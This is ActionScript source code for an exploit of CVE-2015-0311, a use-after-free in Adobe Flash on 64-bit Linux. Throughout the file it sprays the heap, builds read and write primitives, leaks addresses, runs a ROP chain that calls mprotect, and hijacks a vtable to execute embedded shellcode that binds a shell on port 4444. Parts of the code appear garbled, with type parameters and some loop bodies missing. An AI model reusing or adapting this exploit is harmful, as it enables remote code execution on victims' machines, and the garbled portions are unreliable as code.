/* Exploit for CVE-2015-0311 on 64 bit Linux Systems Tested on Ubuntu 16.04 with Firefox 47.0 and Flash 11.2.202.438 Thanks to CoreSecurity for their Writeup on triggering the UAF (https://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/) */ package { import flash.display.MovieClip; import flash.utils.*; import flash.system.*; import avm2.intrinsics.memory.*; import flash.external.ExternalInterface; public class Exploit extends MovieClip { private const BYTEARRAY_SPRAY_LEN:uint = 0x500; // how many ByteArrays to spray on the heap private const VECTOR_SPRAY_LEN:uint = 0x500; // how many Vectors to spray on the heap private const BYTEARRAY_MAGIC_NUM:uint = 0xdeadbeef; // magic number to search for (ByteArray) private const VECTOR_MAGIC_NUM:uint = 0x1234; // magic number to search for (Vector) private const UAF_MEMORY_LEN:uint = 0x24000; //Size of UAF memory private var byteArraySpray:Vector. = new Vector.(); private var vectorSpray:Vector.> = new Vector.>(); private var cByteArrayOffset:uint = 0; private var cByteArray:ByteArray; private var cVectorOffset:uint = 0; private var cVector:Vector.; private var lfpBase:Uint64; private var shellcode:ByteArray = new ByteArray(); // Payload can be arbitrarily replaced, this one makes a shell listen @ 4444 // taken from shell-storm.org /* 1 ; compile with nasm -f bin -o shellcode shellcode.S 2 bits 64 3 4 push rax 5 ; fork syscall 6 mov rax, 57 ; sys_fork 7 syscall 8 ; are we in the child? 9 cmp rax,0 10 je child 11 parent: 12 pop rax 13 mov rsp, rbp 14 sub rsp, 344 15 ret 16 child: 17 dd 0xdecafbad // placeholder -> replace with actual payload 18 ; exit(0) 19 mov rax, 60 20 mov rdi, 0 21 syscall */ private var payload:String = "" + // continue execution "\x50\xb8\x39\x00\x00\x00\x0f\x05\x48\x83\xf8\x00\x74\x0c\x58" + "\x48\x89\xec\x48\x81\xec\x58\x01\x00\x00\xc3" + // shellcode "\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2" + "\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c" + "\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05" + "\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89" + "\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f" + "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" + "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" + "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05" + // exit 0 "\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05" public function Exploit():void { doExploit(); Console.log("[*] exiting..."); } public function doExploit():void { try{ byteArraySpray.length = BYTEARRAY_SPRAY_LEN; vectorSpray.length = VECTOR_SPRAY_LEN; makeShellcode(); triggerUAF(); sprayHeapByteArray(); locateByteArray(); unsprayHeapByteArray(); sprayHeapVector(); locateVector(); leakLibflashplayerBase(); startRop(); Console.log("[+] exploit executed"); }catch(e:Error){ Console.log("unexpected exception"); Console.log(e.toString()); } } public function makeShellcode():void { for(var i:uint=0; i 10 (mprotect) // pop rdi; ret; addRopRel(rop, 0x1b7192); addRop(rop, sAddr.hi, sAddr.lo); // rdi -> shellcode start // pop rsi; ret; addRopRel(rop, 0x01b76b0); addRop(rop, 0x0, 0x1337); // rsi -> shellcode length // pop rdx; ret; addRopRel(rop, 0x1f1b01); addRop(rop, 0x0, 0x07); // rdx -> rwx (0x7) // syscall; ret addRopRel(rop, 0xdae483); // shellcode takes care of restoring stack+continuing execution (skips the actual method call) addRop(rop, sAddr.hi, sAddr.lo); rAddr = leakByteArrayRaw(rop); Console.log("[*] rop buffer: "+rAddr.toString()); vtable.endian = Endian.LITTLE_ENDIAN; vtable.writeUnsignedInt(0xdeadbeef); // garbage vtable.writeUnsignedInt(0xdeadbeef); // garbage // After the first gadget is executed, RSP will point here // this gadget makes it point to our ropchain // pop rsp; ret vtable.writeUnsignedInt(lfpBase.add(0,0x1b5dde).lo); // pop gadget lo vtable.writeUnsignedInt(lfpBase.add(0,0x1b5dde).hi); // pop gadget hi vtable.writeUnsignedInt(rAddr.lo); // fake stack lo vtable.writeUnsignedInt(rAddr.hi); // fake stack hi for(var i:uint; i<4; i++){ vtable.writeUnsignedInt(0xdeadbabe); // garbage } // this entry will be executed when toString is called // RAX will point to the start of the vtable, the first // gadget is a pivot that makes RSP point to the beginning // of the vtable // push rax; pop rsp; mov eax, edx; add rsp, 8; ret; vtable.writeUnsignedInt(lfpBase.add(0, 0x514932).lo); //rip lo vtable.writeUnsignedInt(lfpBase.add(0, 0x514932).hi); //rip hi vAddr = leakByteArrayRaw(vtable); write64(vAddr, hAddr); // patch vtable hijack.toString(); // execute code write64(hvAddr, hAddr); // restore vtable } public function addRop(rop:ByteArray, hi:uint, lo:uint):void{ rop.writeUnsignedInt(lo); // rip lo rop.writeUnsignedInt(hi); // rip hi } public function addRopRel(rop:ByteArray, lo:uint):void{ var addr:Uint64; addr = lfpBase.add(0,lo); rop.writeUnsignedInt(addr.lo); // rip lo rop.writeUnsignedInt(addr.hi); // rip hi } public function leakByteArrayRaw(ba:ByteArray):Uint64{ var addr:Uint64; addr = leakAddr(ba); addr = addr.add(0,32); addr = read64(addr); addr = addr.add(0,56) return read64(addr); } public function read64(addr:Uint64):Uint64{ var old_hi:uint, old_lo:uint; var val:Uint64 = new Uint64(); // store old pointer old_hi = li32(cByteArrayOffset-12); old_lo = li32(cByteArrayOffset-16); // patch pointer with address si32(addr.hi, cByteArrayOffset-12) si32(addr.lo, cByteArrayOffset-16) // read low 32 bit cByteArray.position = 0; val.lo = cByteArray.readUnsignedInt(); // read high 32 bit val.hi = cByteArray.readUnsignedInt(); // restore old pointer si32(old_hi, cByteArrayOffset-12); si32(old_lo, cByteArrayOffset-16); return val; } public function write64(val:Uint64, addr:Uint64):void{ var old_hi:uint, old_lo:uint; // store old pointer old_hi = li32(cByteArrayOffset-12); old_lo = li32(cByteArrayOffset-16); // patch pointer with address si32(addr.hi, cByteArrayOffset-12) si32(addr.lo, cByteArrayOffset-16) // write low 32 bit cByteArray.position = 0; cByteArray.writeUnsignedInt(val.lo); // write high 32 bit cByteArray.writeUnsignedInt(val.hi); // restore old pinter si32(old_hi, cByteArrayOffset-12); si32(old_lo, cByteArrayOffset-16); } public function write32(val:uint, addr:Uint64):void{ var old_hi:uint, old_lo:uint; // store old pointer old_hi = li32(cByteArrayOffset-12); old_lo = li32(cByteArrayOffset-16); // patch pointer with address si32(addr.hi, cByteArrayOffset-12) si32(addr.lo, cByteArrayOffset-16) // write 32 bit cByteArray.position = 0; cByteArray.writeUnsignedInt(val); // restore old pinter si32(old_hi, cByteArrayOffset-12); si32(old_lo, cByteArrayOffset-16); } public function leakAddr(o:Object):Uint64 { var raw:Uint64 = new Uint64(); cVector[0] = o; raw.hi = li32(cVectorOffset+12); raw.lo = li32(cVectorOffset+8); raw.lo &= 0xFFFFFFF8; cVector[0] = null; return raw; } public function sprayHeapVector():void { for(var i:uint=0;i(); vectorSpray[i].length = VECTOR_MAGIC_NUM; vectorSpray[i][0] = new Object(); } Console.log("[*] heap sprayed with Vectors"); } public function unsprayHeapByteArray():void { for(var i:uint=0;i { var val:uint; for(var i:uint=0;i this.lo){ nHi--; } return new Uint64(nHi, nLo); } public function toString():String { return "0x" + hi.toString(16) + Uint64.hexPad(lo); } private static function hexPad(num:uint):String { var ret:String = num.toString(16); while(ret.length < 32/4) { ret = "0"+ret; } return ret; } } /* Helper class for printing to Browser JS Console*/ class Console { import flash.external.ExternalInterface; public static function log(foo:String):void { ExternalInterface.call("console.log", foo); } }